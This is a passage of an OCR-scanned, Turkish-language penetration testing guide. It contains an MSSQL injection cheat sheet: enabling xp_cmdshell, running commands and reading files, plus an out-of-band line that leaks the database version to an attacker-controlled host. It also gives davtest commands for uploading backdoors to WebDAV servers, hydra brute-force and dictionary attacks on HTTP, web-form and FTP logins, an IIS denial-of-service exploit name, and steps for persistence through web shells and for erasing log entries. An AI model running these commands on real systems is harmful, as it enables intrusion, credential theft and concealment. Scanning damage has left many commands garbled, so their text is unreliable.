SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename’;

No Quotes

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(98) + CHAR(99);
ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) = 97;
ASCII(SUBSTRING(SELECT TOP 1 username FROM Users,1,1)) < 128;

String Concatenation

SELECT CONCAT('a','a",'a");
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SELECT 'a' %2b 'b' %2b 'c' %2b 'd';

Conditionals
IF 1=1 SELECT 'true' ELSE SELECT 'false’;
SELECT CASE WHEN 1=1 THEN true ELSE false END;

Time-delay
WAITFOR DELAY 'time_to_pass'; // time_to_pass yerine gecikme siiresi girilir
WAITFOR TIME 'time_to_execute’; // time_to_execute yerine ¢alisma zamani girilir.

Enable Command Execution

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;

EXEC sp_configure 'xp_cmdshell', 1;

EXEC sp_configure reconfigure;

Command Execution

EXEC master.dbo.xp_cmdshell 'cmd’;

Enable Alternative Command Execution

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure reconfigure;

EXEC sp_configure 'OLE Automation Procedures', 1;

EXEC sp_configure reconfigure;

Alternative Command Execution

DECLARE @execmd INT;

EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT;

EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c';

"RunAs"
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa’;'password'’, 'SET FMTONLY OFF
execute master..xp_cmdshell "dir"');

EXECUTE AS USER = 'FooUser";
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Read Files
BULK INSERT dbo.temp FROM 'c:\foobar.txt' WITH ( ROWTERMINATOR='n");

Out-of-Band Retrieval

;declare @q varchar(200);set @q="\attacker.controlledserver'+(SELECT

SUBSTRING(@ @version,1,9))+'.malicious.com/foo'; exec master.dbo.xp_dirtree @g; --

Substrings
SUBSTRING(table_name,1,1) FROM information_schema.tables = 'A’;
ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables > 96;

Retrieve Nth Line

SELECT TOP 1 table_name FROM information_schema.tables;

SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name
IN(SELECT TOP 1 table_name FROM information_schema.tables);

m Exploiting WebDAV Services in 1IS/Apache/Nginx/Tomcat/Lighttpd Servers

// Hedef WebDav Servisini Test Etme
> davtest -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine Backdoor Dosyasi Upload'lama
> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine DavTest icinde Yiiklii Backdoor'lari Upload'lama
> davtest -sendbd auto -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine DavTest icinde Yiiklii Backdoor'lar Txt Olarak Upload'lama
// ve Sonra ilgili Betik Dili Uzantisina Dénistiirme (Bdylece Giivenligi Bypass Etme)

> davtest -move -sendbd auto -url http://172.16.3.72/webdav

NOT
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m Bypassing Login Panels

a. HTTP Basic Authentication Login

// Dictionary Attack

> hydra -V -f -l root -P /home/hefese/rockyou.txt localhost http-get /phpmyadmin

-l s username

-L : txt file for username

-p : password

-P : txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

// Brute Force Attack

> hydra -V -f -l root -x 7:7:a -f localhost http-get /phpmyadmin

-l :username
-L : txt file for username
-X : Brute force parameter (Syntax: MIN:MAX:CHARSET)
7:7:a : MIN:MAX:CHARSET  // 1 means only numbers
// a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// al means only lowercase alphanumeric chars
// A1 means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair

b. Web Application Login

// Dictionary Attack
> sudo su

> hydra -l deneme -P passwords.txt -V -f www.domainname.com http-post-form
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"/dizinlsmi/index.php:userID=AUSER"&userPassword="PASS*&online=1:adiniz"

-l :username

-L : txt file for username

-p : password

-P : txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

http-post-form : Form Action degerini (linkini) alir. Ardindan iki nokta Ust Uste gelir

ve login panelinde post edilen tiim degiskenler ve degerler yer alir.
Kullanici adi ve sifre degiskenleri AUSER” ve A"PASS” degerlerini
alacak sekilde parametreye eklenir. Son olarak yine iki nokta Ust
Uste gelir ve kullanici adi & sifre yanlis girildiginde gelen uyari

mesajindaki sézclklerden biri konur.

// Brute Force Attack
> sudo su
> hydra -l deneme -x 3:3:1 -V -f www.domainname.com http-post-form

"/dizinlsmi/index.php:userID=AUSER*&userPassword="PASS"&online =1:adiniz"

-l : username
-L : txt file for username
-X : Brute force parameter (Syntax: MIN:MAX:CHARSET)
3:3:1 : MIN:MAX:CHARSET  // 1 means only numbers
// a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// al means only lowercase alphanumeric chars
// A1 means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair

http-post-form : Form Action degerini (linkini) alir. Ardindan iki nokta Ust Uste gelir

ve login panelinde post edilen tiim degiskenler ve degerler yer alir.
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Kullanici adi ve sifre degiskenleri \USER” ve "PASS” degerlerini
alacak sekilde parametreye eklenir. Son olarak yine iki nokta st
Uste gelir ve kullanici adi & sifre yanlis girildiginde gelen uyari

mesajindaki sdzciklerden biri konur.

c. FTP Login

// Dictionary Attack

> sudo su

> hydra -V -f - user -P /home/hefese/rockyou.txt ftp://Sip:21

-l : username

-L : txt file for username

-p : password

-P . txt file for password

-V : Show attempts

-f : Exit when the first found login/password pair

// Brute Force Attack
> sudo su

> hydra -V -f -l user -x 3:3:1 -f ftp://Sip:21

-l : username
-L : txt file for username
-X : Brute Force parameter
3:3:1  : MIN|MAX|CHARSET // 1 means only numbers
// a means only lowercase alphabetic chars
// A means only uppercase alphabetic chars
// al means only lowercase alphanumeric chars
// A1 means only uppercase alphanumeric chars
// al+. means only alphanumeric, + and dot chars
-V : Show attempts
-f : Exit when the first found login/password pair
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m Exploiting IIS Servers (in Windows Server 2008 & 2012) and Force them to Output Blue Screen [DoS]

ms15_034_ulonglongadd

3.5 YETKI YUKSELTME

(Hedef sistemin gekirdek versiyonu 6grenilerek zafiyete sahip bir stirim mu tespiti yapilir.
Eger Oyleyse hedef sisteme ilgili exploit indirilir ve calistirilir. Boylece hedef sistemdeki

yetkimiz yikselir)

3.6 KALICILIGI SAGLAMA

(Hedef sistemde olusturulacak web shell'ler (backdoor'lar) ile kalicilk saglanir.)

3.7 iZLERi TEMIZLEME

(/var/log v.b. dizinler altindaki bize ait log satirlari (kayitlari) elle silinir.)
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4. KAYNAKLAR

= https://guif.re/networkpentest

= https://nmap.org/nsedoc/scripts/ftp-anon.html

= https://nmap.org/nsedoc/scripts/ftp-libopie.html

= https://nmap.org/nsedoc/scripts/ftp-vuln-cve2010-4221.html

= https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html

= https://nmap.org/nsedoc/scripts/ftp-proftpd-backdoor.html

= https://www.teakolik.com/n-map-tarama-turleri-ftp-bounce-scan/

= https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mysql/

= https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/

=  https://www.owasp.org/index.php/Path_Traversal

=  https://www.acunetix.com/websitesecurity/directory-traversal/a

= https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux/

= https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/

= https://www.siberportal.org/red-team/web-application-penetration-tests/enumerating-
webdav-extention-on-web-application-penetration-tests/

= https://nmap.org/nsedoc/scripts/http-webdav-scan.html

= https://blog.skullsecurity.org/2009/webdav-detection-vulnerability-checking-and-
exploitation

= https://tools.kali.org/web-applications/davtest

= http://www.wiki-
zero.com/index.php?q=aHROcHM6Ly9Ibi53aWtpcGVkaWEub3JnL3dpa2kvV2ViREFW

= https://www.digitalocean.com/community/tutorials/how-to-configure-webdav-access-
with-apache-on-ubuntu-14-04#testing

= https://www.apachelounge.com/viewtopic.php?p=28631

= https://devops.profitbricks.com/tutorials/how-to-set-up-webdav-with-apache-on-centos-
7/

= https://charlesreidl.com/wiki/Metasploitable/Apache/DAV

= http://insidetrust.blogspot.com.tr/2011/08/using-hydra-to-dictionary-attack-web.html
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